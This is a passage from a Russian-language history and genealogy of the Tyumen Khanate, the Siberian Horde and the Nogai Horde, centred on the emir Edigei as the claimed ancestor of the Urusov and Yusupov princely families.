которые не являлись прямыми наследниками Чингиз-хана.


  
Т ю м е н с к о е  ханство
образовано  в первой половине XV века Хаджи-Мухаммедом –
Шибанским царевичем при поддержке сына Эдигея 
Мансура. Здесь (в южной части) 
господствовало кочевое скотоводство и звероловство, а  городки были не более чем зимовками орды, где
оседали бедняки и ремесленники. Здесь, в далекой окраине З\О, сложился комплекс
земледелия, охоты, примитивного ремесла и торговли. Центральной ставкой  Ходжи-Мухаммеда было укрепленное поселение Кизыл-Тура
на р. Ишим, уже покинутое сибирскими князьями. В XIV веке был сделан шаг к образованию
государства. Это раннее татарское объединение занимало среднее течение Тобола и
междуречье его притоков Тавды и  Туры.
Центр его назывался Чинги-Тура (Тюмень), который покинули уже в то время
сибирские князья. Во главе Тюменского ханства первое время стояли
золотоордынские ханы, и Тюменское ханство было подчинено  З\О. Об этом говорит то обстоятельство, что в
самом конце XV века
(1495) в Чинги-Тура бежал изгнанный из З\О 
Тохтамыш и стал искать опоры у местной татарской знати. На короткий
промежуток времени управление Тюменским ханством оказалось в руках
Тохтамыша.    Первый Тюменский хан
Ходжа-Мухаммед (1420-23) был в хорошей дружбе с правителем З\О  Эдигеем (родоначальник Урусовых), захватил
власть в З\О (1421-23), а в 1423 году он был убит Абулхаиром, который стал
Тюменским ханом,  но затем ушел из Сибири
в Кипчакские степи, уступив сыну Ходжи Махмутек Сибирь. (Тюменский хан 1423-41
годы) (прил. 8аб,9б).


       После ослабления Узбекского союза при
преемниках  Абулхаира (хан Узбекского
союза 1429-68) в степях Притоболья усилился внук Ходжи – Ибак при поддержке
снова ногайских мурз Мусы (дед Урус князя) и Ямгурчея.    Ему удалось захватить в свои руки Тюменское
ханство, где правили  после Абулхаира
представители местной татарской знати (прил.9б), обманным путем. Сибирский
князь Мар (прил. 9б) был женат на сестре Ибака (Казанского хана Упака), который
и убил Мара, захватив их земли.  С
приходом к власти Ибака (1441-1495) территория ханства расширилась за счет
включения степных районов по среднему Тоболу и междуречья Тобола и Ишима.
Татарские улусы, расположенные по нижнему течению Тобола и среднему Иртышу, в
состав Тюменского ханства не входили.


Во второй половине XV века «тайбугины» вели
ожесточенную борьбу с притязаниями на господство в южной части Западной Сибири
со стороны потомков Чингиз-хана – Шейбанидов, со стороны ногайских мурз и
узбекских правителей,  потомков Абулхаира,
стремившихся  закрепить в своих руках
кочевья в бассейнах  рек Тобола, Ишима и
Иртыша.


 
В свою очередь Ибак пытался расширить подвластную ему территорию за счет
как восточных, так и западных земель. Мечтал он упрочить свои позиции и в
среднем Поволжье, где находилось Казанское ханство. Активная внешняя политика
хана Ибака привела его к столкновению с Ахмедом,  правителем Большой орды. Ибак,  правитель Тюменских татар, в 1480 году вместе
с ногайскими мурзами Мусой и Ямгурчеем принимали участие в походе против
Ахмеда, возвращавшегося от берегов р. Угры после неудачного для него
«угринского стояния».   В результате
внезапного нападения в январе 1481 года в районе Белой Вежи  Ахмед был убит (лично Ямгурчеем), захвачено много
разного добра, скота, полон литовский, о чем было сообщено московскому царю.
Текст послания Ибака в Москву свидетельствовал, что кочевья его в 90-е годы XV века находились в
Заволжье, а сам он овладел после гибели Ахмед-хана и его сторонников
золотоордынским престолом.


     В 1495 году Ибак погиб в борьбе с
татарскими князьками «Тайбугина рода», пытаясь расширить свою территорию за
счет Западной Сибири. Ибака убил Магмет (внук убитого Ибаком Мара). Магмет
объединил под своею властью татарские улусы по нижнему течению Тобола и
среднему течению Иртыша и сделал своею ставкой старинное укрепленное поселение
угров (остяков) на берегу Иртыша, носившее название Сибирь (Кашлык, Искер,
Тобольск), (на реке Сибирка или «начальный», от которого вся страна С и б и р ь
ю  стала называться). Городок расположен
высоко на восточном берегу Иртыша, укреплен, его остатки  и сейчас можно видеть в 16 верстах выше
современного Тобольска.     Часть
остяцких и вогульских князей вошли в состав объединения Магмета, которое стало
называться по имени главной ставки Сибирской ордой (так как правили сибирские князья)
(с 1495 года).


     Потомки хана Ибака (Шейбаниды) некоторое
время сохраняли в своих руках земли в бассейне реки Туры. Здесь наследником
убитого Ибака остался его брат Мамук. Потерявший значительную часть Тюменского
ханства в борьбе с правителем Сибирской орды 
Магметом,  Мамук в 1496 году с
помощью ногайцев завладел Казанью,  но
кратковременно. В 1497 году  Московский
царь изгнал Мамука из Казани. После Мамука в Тюменском ханстве правителем был
сын Ибака – Кутлук-Салтан. Вскоре территория Тюмени была включена в состав
расширившегося объединения «Тайбугинов» - Сибирской орды. Таким образом,
Сибирская орда окончательно сложилась к концу XV века. Рядом с Сибирской ордой
существовало примитивное государство, сложившееся несколько раньше нее (в XIV в). Оно объединяло часть
татарских улусов в междуречье Тавды и Туры и по среднему течению р. Тобола, и
носило название Тюменского ханства. К середине XVI века Сибирская орда охватывала
значительную территорию Западной Сибири. В то же время не прекращалась упорная
борьба  со стороны Шейбанидов, ногайских
мурз и правителей узбекских ханств. На ханский престол в это время в
Сибирском  «юрте» претендовал шейбанид
Кучум – сын узбекского правителя Муртазы, правнука Ибака (прил.8б,9б).
Используя помощь ногайских правителей, Кучум в 1563 году захватил власть в
Сибирской орде, убив князей Едигера и Бекбулата. Кучуму оказали сопротивление
татарские улусы в Чинги–Тура и Епанчинских юртах  (Туринск). 
Кучум именовал себя Тюменским и Сибирским ханом, но для местных жителей
Сибирской орды  Кучум был пришельцем и
завоевателем. У Кучума были довольно тесные связи с ногайскими мурзами. Сын
Кучума Алей был женат на дочери правителя Большой Ногайской Орды (БНО)
Тинахмета. Дочь Кучума была выдана замуж за ногайского Ак–мурзу. Пользуясь
дальностью расстояния до Московского государства, Кучум проявлял признаки
агрессивности в отношении к новым русским владениям: он захватывает речные
пути, ведущие из Сибири за Урал, подчиняет своему влиянию пелымских манси,
остяков, племянник его Маметкул уже в 1573 году вторгается в русские пределы,
«дорогу проведать» на Пермь.


        Поход Ермака, произведенный  очень небольшими силами, вряд ли мог иметь
целью завоевание  Сибирского царства, о
могуществе которого русские имели преувеличенное представление. Имелось в виду,
вероятно, только взять «с бою и без бою» ясак (дань) и вернуться с добычей.
Предприятие увенчалось неожиданным успехом. Сибирское царство распалось от
одного удара, и после первых неудач от Кучума стали отпадать его вассалы –
мурзы и бии, зависевшие от него. Когда же предприятие, затеянное Строгановыми,
завершилось захватом столицы Сибирского ханства, правительство изменило свою
тактику, оказало им военную помощь, но неудачно: экспедиция была плохо
снаряжена, без учета климата и местности. В Кашлыке вновь утвердились татарские
владетели, вначале сын Кучума Алей, затем его соперник – Сибирский князь
Сейдяк. Таким образом, поход Ермака, расшатав Сибирское ханство и открыв путь
русским в долину Иртыша, сам по себе не привел к прочным результатам,
необходимо было закрепить за собой завоеванное.


      В этих целях на реке Туре, на развалинах
некогда богатого и сильного татарского города Чинги-Тура, была построена
крепость (Тюмень), которая и должна была служить опорным пунктом для
дальнейшего передвижения на место поселения Кашлык (Искер), бывшую столицу
Сибирского ханства, где и воздвигнут Тобольский острожек, переросший в центр
русской колонизации, большой город Сибири – Тобольск. В целях обезопасить себя
от нападений со стороны татар русские стали строить на важных местах города:
Туринск (Епанчин), Пелым, Верхотурье и т.д. Борьба с Кучумом не прекращалась, и
только в 1598 году удалось нанести Кучуму решительное поражение, после которого
он уже не оправился. Сибирские «цари» - сыновья и внуки Кучума – в течение
всего XVII века
продолжали,  в союзе с калмыками,
ногайцами (Урус-князь младший) беспокоить своими набегами русские пограничные
поселения. Очень медленно продвигалось русское население на юг от Туры и
Тобола. Только в 30-х годах XVII
века с постройкой ряда городов создалась укрепленная  граница, 
защищавшая южные пределы русских владений. Только в первой четверти XVIII века с постройкой ряда
крепостей все течение Иртыша и Тобола было освоено русскими, и лишь во второй
половине XIX века - верхний
Ишим (1863-г.Акмолинск). Далее, южнее были среднеазиатские орды и ханства,
которые были очень сильны,  а вот на
севере и востоке мелкие мансийские и хантсийские племена не в состоянии были
оказать серьезное сопротивление, и некоторые силой,  а другие добровольно согласились платить ясак
(дань).   


Таким образом, мы рассмотрели
серию крупных завоевательных войн и отдельных походов, организованных
монгольскими феодалами с целью захвата военной добычи, порабощение и ограбление
народов Азии и  Восточной Европы.
Монгольские ханы, создав военную организацию, вовлекли в завоевательные войны
большинство народов.



    

2.НОГАИ.




Осталась нерассмотренной только
Ногайская Орда  (Н\О). После падения
Золотой Орды (1481), с последней четверти XV и до последней четверти XVI века, Н\О, объединенная в 
своем составе тюркскими кочевыми племенами в западной части Кипчакской
степи, до границ Московского государства и Крыма, играла важную политическую
роль в борьбе между Москвой, Казанью, Астраханью и Крымом  и в судьбах всех тюркских кочевых племен
Средней Азии и юго-западной Сибири. Название ногайцев представляет перевод
слова «нохай» (собака, символ дружбы). Вернее всего, как заверяют сами ногайцы,
название это родовое – от Чингиз-хана, из рода Джучи, его правнук.


    В первый период  истории ногайцев, как отдельного племени не
существует. Они теряются в массе полчищ 
Батыя, Тохтамыша, Тамерлана и др.


Ногайскую Орду рассматриваем
позже других, так как основатель её Эдигей был родоначальник князей УРУСОВЫХ.


          В результате борьбы Урус-хана и его
сыновей с Тохтамышем  Синяя Орда начала
слабеть. Вот в это время и появилась сильная фигура  ЭДИГЕЯ, родоначальника князей Урусовых,
Юсуповых, Шейдяковых, Кутумовых, Тинбаевых, Урмаметовых, Тинмаметовых,
Байтерековых и других князей. Эдигей, Едигей, Идигей, Идюкю, Идике, Едигей
Мангит, Ногайский вождь и князь Ногайской Орды, темник Золотой Орды,
полновластно распоряжавшийся ханским престолом З\О, С\О, Н\О с 1395 по 1420
годы (прил.18). Эдигей родился в 1352 году (возможно в 1335-1340), убит сыном
Тохтамыша Кадыр Берды в 1419\1420 годах. Русские считали его одним из коварных
и хищных ханов, Ордынским   (З\О)
правителем. Сын главного эмира Урус-хана 
Балтычак (владетель Каратауского города Кумкента). Родом  из племени белые (ак) мангиты, которые
появились в Средней Азии в период нашествия монголов (по другой версии – из
племени кунграт (костяк восточной части улуса Джучи XIII-XV веков)). В 1377 году Эдигей сбежал от Урус-хана к Тохтамышу, а
затем вместе с ним к Тамерлану. Эдигей любыми средствами и путями пытался
выдвинуться в полководцы, был постоянно на виду, участвовал в походах на З\О и
Среднюю Азию у Тохтамыша, а позже у Тамерлана был полководцем, руководителем
войска. После поражения Тохтамыша Эдигей фактически руководил как С\О, так и
З\О, а также на базе территории ногайского народа сформировал Ногайскую Орду.
Таким образом, с 1395 года и до своей смерти1420 года он фактически руководил
большой территорией, населенной различными народами. Он ставил и снимал во
главе власти чингизидов (сам он не имел права по монгольским законам, как
Ногай, Мамай и Тамерлан);  в основном это
были внуки и правнуки Урус-хана 
Тимур-Кутлуг, Тимур, Шадибек и Булат.


       Таким образом,  Эдигей – вельможа, полностью распоряжающийся
государствами, возводивший на престол царевичей ханского рода только для того,
чтобы прикрыть свою власть. Эдигей сумел стать эмиром, одним из самых
могущественных военноначальников З\О. Николаевская летопись, с.173: «Эдигей
князь Велик во всей Орде, и могуществен и крепок и храбр зело». Вместе с тем он
же « лукавый и злохитрый», способный на любой коварный и злой поступок к врагам
для достижения своих целей.


«Эдигей был смугл лицом, среднего
роста, плотного телосложения, отважен, страшен на вид, высокого ума, щедр, с
приятной улыбкой, меткой проницательности и сообразительности, любитель ученых
и достойных людей, сближался с благочестивцами и факирами, беседовал (шутил) с
ними в самых ласковых выражениях и шутливых намёках, постился,  по ночам вставал на молитву, держался за полы
шариата, сделав Коран и изречения мудрецов посредником между собой и Аллахом
Всевышним». Тизенгаузен.1884. с.474.  


     Эдигей запретил татарам продавать своих
(татарских) детей в Сирию и Египет, поэтому народ еще при жизни его слагал
песни, легенды, сказки. Его личное мужество, военные успехи, авторитет как
правителя, поддерживавшего единство и порядок в стране, снискал ему широкую
популярность и сохранили его имя  в
памяти потомства у многих народов: 
ногайцев, казахов, киргизов, узбеков, караколпаков, карачаевцев,
западно-сибирских и других татар. Народ до такой степени отождествлял генерала
З\О со сказочным Идыгеем, что имя Идыге в мусульманскую летопись вошло с
чертами из сказки.


       По родословным родам Юсуповых и Урусовых род  Эдыгея идет от  Абубекира Бен Райок (прил.13), правителя всех
мусульман, царей Дамаска, Египта, Медины, Константинополя. Третий сын, Термес,
народного святого  Баба Туклас (царь
Мекки) ушел из Мекки (кстати, первые два сына похоронены около Святого Камня
Каагбе в Мекке) и захватил территорию между реками Урал и Волгой (территория
будущей Н\О). От него идет род Эдигея. Происхождение Эдигея туманно и имеет
несколько вариантов (прил.14).


Первый вариант – это
мусульманское происхождение. Эта родословная Эдигея показана родословными
Юсуповых и Урусовых, Архивом Коллегии Иностранных Дел, Разрядного Архива, Общим
Гербовником Российских князей; происхождение от ногайских князей, от Абубека
(Абубекир Бен Райок или Абубек Киреев сын Дока).


Второй вариант – монгольское
происхождение, которое возможно шло от самого Чингиз-хана, или через Урус-хана,
или через темника Ногая, или через порабощенные племена (например, белых
мангитов в Средней Азии и т.д.).


Третий вариант –
СевероКавказский, по наличию многих имен предков тюркского происхождения, а
также по прозвищу   URUS,  «русский», фамилия УРУСОВА происходит скорее
всего от карачаевских горских князей и биев, сохранивших параллельно также и
балкарскую фамилию Урусбиевых, т.е. историческое прошлое фамилии Урусовых
каким-то образом связано с историей карачаевского народа (и балкарского тоже,
т.к. они по происхождению и по вероисповеданию (мусульмане суннитского толка),
и по языку были единым народом).


      Образование
этих народов следующее (Н.А.Баскаков «Русские фамилии тюркского
происхождения»). В VI-IX веках часть Булгар
(территория современного Татарстана) переселилась на Северный Кавказ в Верховья
Кубани к аланам и кобанам, и образовались карачаевцы и балкарцы. В XII веке они сформировались
как народность, но в XIII
веке татаро-монголы разгромили карачаево-балкарскую общину (прил.37), часть
была истреблена, часть ушла в высокогорные районы Приэльбрусья, а часть была
захвачена в плен, влилась в войско Чингиз-хана и продолжала нести службу у
татар. Таким образом, и Балтычак, бий, из племени барсила (борзи-урусби)
карачаевского народа попал в плен, служил у татар, был даже правителем города Кумкента,
главным эмиром  у Урус-хана (первая
встреча Урус-хана и Урусовых (прил.15)) и его сына Тимур-Мелика. Тохтамыш в
1379 году разбил С\О, захватил в плен хана Тимур Мелика и его главного эмира.
Тимур-Мелик был казнен (как когда-то был казнен Урус-ханом отец Тохтамыша
Туй-Ходжа), а Балтычаку было предложено перейти на службу к Тохтамышу, но тот
отказался, сказав, что ему за честь умереть за своего государя. Тохтамыш
удовлетворил его просьбу. Сам Эдигей в это время был одним из главных эмиров
Тохтамыша (начальник левого крыла монгольской армии).


По версии эпоса, отцом Эдигея
(Идиге) был Кутлукай, сокольничий Тохтамыш-хана. Соблазненный подарками
Тамерлана, он дал ему одно из яиц, снесенных соколом чудесной породы, которым
особенно гордился Тохтамыш. Узнав о проступке своего сокольничего, разгневанный
Тохтамыш велел казнить не только его, но и всю его семью. Младенца Идиге
спасает молочный брат, подменив своим собственным сыном, и воспитывает сына
Кутлукая как своего.


Русская историография считает
Эдигея коварным и хищным ордынским правителем, а восточные источники никакой
симпатии к Эдигею не проявляют и склонны считать человеком неверным, который
легко изменяет своему слову. Едва ли в исторической литературе мог сложиться
такой образ Эдигея, если бы не было его идеализации по другой линии. Дело в
том, что параллельно с историческим существованием Эдигея, есть еще Эдигей –
герой ногайского, казахского, караколпакского и сибирского тюркского эпоса.


      Картина взаимоотношений Эдигея и
Тохтамыша воспета у многих народов Средней Азии в героических эпосах, былинах.


В начале 70-х годов XIV века золотоордынский  Урус-ханзамыслил расширить свою область со стороны Средней Азии. Отец Тохтамыша,
управлявший Мангишлаком, не явился в поход, и за это был казнен. Тохтамыш
несколько раз убегал из орды, но возвращался, и ему, как несовершеннолетнему,
бегство прощалось. В 1376-77 гг. Тохтамыш окончательно оставил  отцовский улус. Идиге (Эдигей) был эмиром
Уруса, а его отец Балтычак - главным эмиром Урус-хана. Итак, Тохтамыш бежал к
Тамерлану в Самарканд, который дал ему приют, отвел область в южном Казахстане,
по Сырдарье, помогал Тохтамышу в войне. Три раза Тохтамыш нападал на Урус-хана
и его сыновей, но все время терпел поражения. Тамерлан пытался убрать опасно
усилившегося Уруса с помощью марионетки Тохтамыша. Когда Тохтамыш  после очередного поражения приехал в Бухару к
Тамерлану, туда же прибыл и бежавший от Уруса Эдыгей и сообщил, что Урус-хан
сам гонится за Тохтамышем. На требование Уруса выдать Тохтамыша Тамерлан ответил
отказом. В конце концов, Тохтамыш с помощью Тамерлана победил сыновей Урус-хана
(сам Урус-хан уже умер к этому времени), овладел Золотой Ордой в 1379 году.
Когда к Тохтамышу привели плененного в бою с Тимур-Меликом (сын Уруса) его
главного эмира Балтычака, Тохтамыш обещал ему сохранить за ним его сан, если
тот признает его своим государем. Балтычак с ненавистью отказался и потребовал
себе смерти. И Тохтамыш убил его. Этот Балтычак был отцом Эдигея. Вероятно, с
этого времени и началась вражда Эдигея  с
Тохтамыш-ханом.


    Пока 
были живы старшие эмиры улуса, Тохтамыш поддерживал дружеские отношения
с Тамерланом. Но группа смутьянов восстановила Тохтамыша против Тамерлана.
Тохтамыш стал нападать на области Тамерлана и вызвал против себя его походы на
Кавказ и Кипчак 1384-1395 годов. В последней битве Тамерлана против Тохтамыша
проводниками были Тимур-Кутлук (будущий хан З\О) и Эдигей, старинные враги
Тохтамыша. Тохтамыш был разбит, бежал в Литву (Киев). В это время Тимур-Кутлук
и Эдигей ушли от Тамерлана, и в 1395 году 
«Тимур-Кутлук сел в Узбекском улусе (З\О) на царство, а эмирство
осталось Эдигею». Тамерлан простил им их предательство (они обещали
возвратиться к нему со своими улусами) и разрешил им править З\О. Таким
образом, Эдигей пытался сколотить свой улус, объединить С\О и З\О, независимые
от Тохтамыша и Тамерлана, с помощью чингизида Тимур-Кутлук.   


    Эдигею нельзя отказать в кипучей энергии.
Не теряя времени, он искал способы стать фактическим правителем Золотой Орды.
Он хорошо знал, что, не будучи чингизидом, он не может претендовать на ханский
престол, почему и желал иметь подставного хана в лице Тимур-Кутлука, сына
казненного Тимур-Мелика, внука Урус-хана. Эдигей являлся главой всего войска
улуса Джучи (по определению ярлыка Тимур-Кутлука от 1398г.).


С приходом к власти Тимур-Кутлука
(фактически Эдигея) Золотая Орда вновь на короткое время окрепла, мобилизовав
все приемы и методы насилия и коварства. Эдигей и оказался в этом отношении
наиболее подходящей фигурой благодаря своим качествам. С помощью подставных
ханов Тимур-Кутлука, Шадибека, Пулата, Тимура и Дервиша он убрал с политической
сцены Тохтамыша, разбил и уничтожил армию Литвы на Ворскле (1399), держал в
расстройстве Русь за счет грабежей и насилий (захват Москвы 1382, осаждение ее в
1409, война 1419), захват Хорезма (1406-1413). Успехи Эдигея обусловлены не
военной слабостью этих стран, а отсутствием единой организационной воли,
наличием феодальных распрей между князьями и исключительной доверчивостью
русских к словам и обещаниям коварного татарского князя Эдигея. Прекрасно
ориентируясь в международных отношениях на Руси, желая во чтобы-то ни стало
ослабить её, Эдигей поставил себе первой задачей столкнуть московских князей и
князей литовских, тогда владевших Киевом. И Эдигей добивался своего, сталкивая
две страны к пролитию крови, потере людей и опустошению городов и селений, а
выигрывали только татары. Русь и Литва тоже не оставались в долгу, плетя каждый
свои сети. В Москве, а затем уже в Литве нашли приют «тохтамышевы дети», которые
позже были использованы против Эдигея. 
Орудием стал Джелал-ад-дин, которого Витовту  (князь литовский) и удалось провести на
ханский престол в 1411 году. Звезда Эдигея начала закатываться, и он уже
никогда не достигал недавнего могущества. Против Эдигея  восстал его же ставленник Тимур, сын
Тимур-Кутлук.  Более того, Эдигей даже
породнился с новым ханом, отдав ему в жены свою дочь (прил.15). Однако Тимур
сумел склонить симпатии кочевой знати на свою сторону и повел борьбу с эмиром
Эдигеем. Не имея сил победить Тимура, Эдигей бежал в Хорезм, где правил его сын
Мубарак с 1406 года. Тимур осаждал город в течение полугода. В это время
Джелал, пользуясь отсутствием Тимура, захватил власть в З\О. Тимур был убит
своим военноначальником, а Эдигей разбил сына Тохтамыша около Хорезма. Был
заключен мир, Эдигей признал право Джелала на ханский престол. Но авантюрист
Эдигей еще раз попытался  выставить
против сыновей Тохтамыша кандидатуру царевича Чекри (1414-16), сына же Тохтамыша.
Эдигей воевал в 1416 году с Витовтом, сжег Киев и разорил многие литовские
области и лишь незадолго до смерти заключил мир со своим старым врагом. В свои
60 лет Эдигей помог Дервиш-хану захватить власть в Крыму, основав там Крымскую
орду. Там он чеканил на монетах свое имя рядом с ханским.


 
    Вот такую бурную и активную
жизнь прожил Эдигей – основатель целого ряда родов знаменитых Юсуповых,
Урусовых …..,  ныне существующих.


Родственники Эдигея (прил.18):


 
-жена – дочь Тохтамыша Джанике Ханга, в Крыму в Чуфут-Кале, имеется ее
мавзолей;         


  
-брат  Исабек – участник походов
Тохтамыша на Кавказ в 1391-95 годах;


  
- сестра – жена Тимура-Мелика, хана З\О;


  
- дочь – жена Тимура, хана З\О и С\О;


  
- дочь – жена сына Тамерлана Шахрука;


  
- дочь – жена Мухаммеда Джуке;


  
- кроме этого 9 жен, более 20 сыновей.


Существует несколько версий
смерти Эдигея:


  
- умер в Крыму;


  
- утонул в р.Сейхун (Сырдарья) у Сарайчика;


  
- вернее всего он погиб в борьбе с сыном Тохтамыша Кадырберды на среднем
ключе трех ключей Борта р. Илек, впадающей в р. Урал в 1419\1420 году
юго-западнее Оренбурга. Похоронен на горе Адыге Тау (вершина Эдиге) хребта
Улутау Карагандинской области. Легендарная могила – религиозная святыня.


Умер Великий Эмир в Деште
(Кипчак), Идиге, распоряжавшийся управлением Сарая и Дешт-Кипчак. «Султаны при
нем носили только имя, но не имели никакого значения. Он водворял в султанство
кого хотел и смещал  когда хотел:
прикажет, и никто не противостоит ему, проведет грань и никто не переступит
этой черты».


    Сказания об Эдиге (Идиге) сложились, по
всей вероятности, среди тюркских кочевых племен, входивших в состав так
называемой Ногайской Орды. Из племен, составлявших эту орду, на первом месте
называются мангиты, к которым принадлежал Идиге. Ногайская Орда была улусом  Идиге, так как с XV века во главе ее стояли его потомки.
Ногайская Орда (Н\О) кочевала « к востоку от нижнего течения Волги до Иртыша и
от берегов Каспийского и Аральского морей до границ Казанского ханства и
Тюмени». Н\О выступает как особое политическое объединение в последние годы XIV  и начале XV веков, когда ее возглавляет Эдигей. Окончательно
сформировалась при его сыне Нуреддине (2-е колено Урусовых) (1426-1447). В
дальнейшем власть оставалась в руках потомков Эдигея. Орда не представляла
собой чего-либо единого. У каждого из мурз – членов дома Эдигея – был
собственный улус.     Старший между ними
почитался за главного князя. Общие дела решались на съездах (курултаях). Центр
Н\О – Сарайчик в низовьях реки Урал (около Гурьева, Казахстан). Кочевой образ
жизни, борьба с Россией (набеги), Польшей, Литвой, соседями. Эдигей укрепил
власть, армию, захватил и расширил территорию Н\О; он восстановил политическое
единство З\О и укрепил разгромом 
Витовта  захватом  Хорезма и походом на Москву, ее военное и
международное положение и все это держалось на личном мужестве, военной
доблести и государственной мудрости как залоге его военных и политических
успехов. Эдигей был крупным государственным деятелем  Золотой, Синей и Ногайской Орд.


Широкое географическое
распространение сказаний и песен – от Крыма и 
Причерноморских степей до Сибири и Казахстана – соответствует
исторической рамке, в которой происходили передвижения ногайцев-кочевников, в
особенности после распада ногайского улуса в XVI-XVII
веках. Значительное число ногайских племен вошло, по-видимому, в состав казахов
Младшей орды (западный Казахстан), среди которых цикл сказаний об Идиге и его
потомках сохранился наиболее полно. С другой стороны, и нынешние ногайцы,
разбросанные в восточном Причерноморье и к западу от Каспия, хранят память о
своем первом правителе.  К историческим
по своему происхождению казахским богатырским песням относятся: «Тохтамыш и
Идиге», поэмы ногайского цикла «Муса-хан», «Орак и Мамай» и другие. Ногайцы
находились на протяжении всего XV-XVI веков в тесном общении с
родственными им казахскими племенами. Этот период запечатлелся как период
расцвета Казахского ханства. Казахские эпические сказания о ногайских богатырях
образуют генеалогический цикл, герои которого, как в народном предании, так и в
истории, являются членами одной семьи. Родоначальник этой семьи – Идиге,
исторический Эдигей, золотоордынский временщик, имя которого хорошо известно из
русской истории.    


     Ногайцы были степными
кочевниками-скотоводами. Они разводили лошадей, верблюдов, овец и рогатый скот.
В этническом отношении ногайцы сложились из осколков более древних тюркских и
монгольских кочевых племен. Название ногайской орды обычно связывают с именем
золотоордынского полководца и временщика эмира Ногая, который во второй
половине XIII века
покинул З\О со своим монгольским племенем мангит и стал фактически независимым
правителем в районе Черного моря. После гибели Ногая его сыновья были оттеснены
за Волгу в район Урала и Эмбы. Из этого племени и происходил Эдигей, потомки
которого были наследственными правителями Н\О. Эдигею удалось собрать под свою
крепкую руку Заяицкие Орды (Зауральские).


Ногайская Орда занимала выгодное
положение между Волгой и Уралом, была крупным пунктом транзитной торговли на
пути из Причерноморья в Среднюю Азию. Ежегодно ногайские князья поставляли в
Казань и Москву тысячи голов лошадей и овец. Княжеская власть в Н\О
наследовалась в порядке родового старшинства, поэтому после смерти Эдигея,
власть перешла к его старшему сыну Гази (1420-1426). Гази плохо руководил,
постоянно воевал со всеми соседями (Россия, З\О, Шейбани…). Народ, недовольный
его отношением к их жизни, судьбе, убил Гази и разбрелся по Сибири, Средней
Азии, в том числе и сыновья Эдигея (прил.18):


  
- Мансур – старший эмир Ходжи Мухаммеда в Сибири (прил.8а);


  
- Навруз – военноначальник у Улуг-Мухаммеда в западной З\О (Казанское
ханство);


  
- Мубарак – захватил власть в Хорезме 1406-13;


  
- Якшибей – руководил Н\О на реке Урал;


  
- внук Окас (Ваккас) – старший эмир у Абдулхаира в Узбекском союзе.


Поэтому, по наследству земли отца
Эдигея достались Нуреддину (1426-47)
(Мурадину), младшему сыну. Нураддин объединил остатки своего народа, окреп,
подчинил, захватил территорию около Волги (возможно, подарены Кичи Мухаммедом в
1436г.). Нуреддин известен своим участием в борьбе против Тохтамыша и ссорой с
отцом из-за дочери Тохтамыша, ставшей добычей победителей (поэма «Нуреддин»),
борьбой с калмыками; честолюбив. Таким образом, Нуреддин снова возродил
Н\О,  а окончательное оформление  Н\О осуществил его сын Окас (1447- 50), князь. 
После смерти Гази  Окас ушел к
Узбекскому хану Абдулхаиру, (они совместно удачно воевали (смотри Узбекский
союз)), был старшим эмиром. После смерти отца вернулся в Н\О, ею правил, удачно
воевал, захватил территорию до Алатау (Казахстан, Алма-Ата), имел 30 сыновей,
они отделились, поселились около Сарайчика, разрослись. Убит  Абдулхаиром 
за уход от него.


После убийства  Окаса его брат Аббас (1450-96)  был провозглашен ногайским князем.


      До распада З\О (конец XV в) ногайцы при
Нуреддине и  Окасе кочевали за Волгой и
Яиком (Урал), а после распада завладели низовьями Волги и оказались в
непосредственном соседстве с московскими «украйнами» (окраинами). С этого
времени Н\О вступает в активную связь с Московским государством, которая
продолжается в течение всего XVI
века, грабительские набеги чередуются с дипломатией, торговлей и военными
сношениями. Наибольшую самостоятельность и военно-политическую активность
ногайцы проявляют с 1481 по 1560 года, в то время, когда во главе Н\О стояли
князь Муса (прил.21) и его
сыновья  Шахим, Шейдяк, Ших-Мамай, Юсуф и
Исмаил. К этому времени и относятся эпические сказания казахско-ногайского
цикла.


Центральное место в ногайских
циклах занимают эпические сказания о Мусе («Муса-хан») и его сыновьях и внуках
(«Орак и Мамай», «Карасай и Казы» и другие). Благодаря многодетным семьям
ногайский княжеский род в сравнительно короткое время необычайно разросся. У
князя Муссы (1496-1504) было 5 жен и едва ли не 30 детей. Сыновья Мусы имели
такие же большие семьи, например, потомство Кошума в 1549 году насчитывало 50
человек. Общее число потомков Мусы (сыновей, внуков и правнуков), упомянутых в
исторических документах до смерти Исмаила (1563), составляет не менее 150. Вся
эта феодальная верхушка,  прежде всего непомерно
разросшийся княжеский род, давил своей численностью на простых улусных людей,
находившихся в зависимости от своих правителей, князей и мурз. Улусы переходили
от отца к сыну, но при текучести кочевого населения они могли переходить от
одного мурзы к другому. По мере того как разрастался княжеский род, наследие
дробилось, и борьба становилась все более ожесточенной. Кровавые родовые и
феодальные распри обычно сопровождались угоном скота, грабежами и насилиями;
захватом и продажей в рабство пленников, способствовали разорению мирной массы
улусных людей.   


      Ногайская Орда была весьма многолюдна и,
благодаря воинственности входивших в ее состав кочевых племен, представляла
потенциально большую военную силу. Многочисленные грабительские набеги ногайцев
на «государевы украйны» осуществлялись небольшими по своей численности военными
дружинами во главе с молодыми мурзами (Ямгурчей, Алчагир, Арслан), кочевавшими
«по сю сторону Волги». Ногайцы принимали активное деятельное участие в борьбе
за Казань и Астрахань. Вместе с крымчанами они представляли собой главную
военную силу, которой казанская аристократия располагала для борьбы с Москвой,
но ногайцы боялись продвижения крымчан за Волгу, поэтому единого фронта не
было. Нередко ногайские мурзы со своими дружинами  «нанимались в военные защитники в соседние
ханства», и часто ногайцы у них скоро делались из наемников господарями или
получали постоянную дань.


      Для того чтобы обеспечить себе дружбу и
военную помощь ногайцев, обезопасить свои границы от грабительских набегов,
московская дипломатия также вынуждена была практиковать широкую систему
подарков. В Москве даже существовал ногайский двор за Москвой-рекой, где
подавали привезенные грамоты, торговали лошадьми на лугу против Симонова
монастыря и настоятельно требовали подарков. Разумеется, наемные союзники,
почитавшие такие подарки своего рода данью, причитавшейся им по праву, не
считали себя особенно крепко связанными полученными субсидиями. Одновременно, с
начала XVI века,
учащаются грабительские набеги ногайцев на московские окрайны. Таким образом, к
концу княжения Мусы первоначальные добрососедские отношения сменяются
напряженными и враждебными.     


       Из огромной семьи Мусы в дальнейшем
последовательно княжили (прил.18 и 21):


  
- 1504\06 – Ямгурчей, брат Мусы; набеги на Русь (прил.20);


  
- 1506\15 – Хасан, князь, брат Мусы; с Агышем  и Кугушем (сыновья Ямгурчея) (прил.20);


  
-  1515\21 – междоусобица сыновей
Мусы  Алчагира и Шигим, князя (прил.22 и
27);


       Шигим в 1515 году был посажен в Тюмени
Сибири « на княжение»;


  
-  1521\34 – одновременное
правление сыновей Мусы (прил.21);


  
-  1521 \ 47 – Шейдяк, князь, в
Сарайчике и  на реке Урал (прил.28);


  
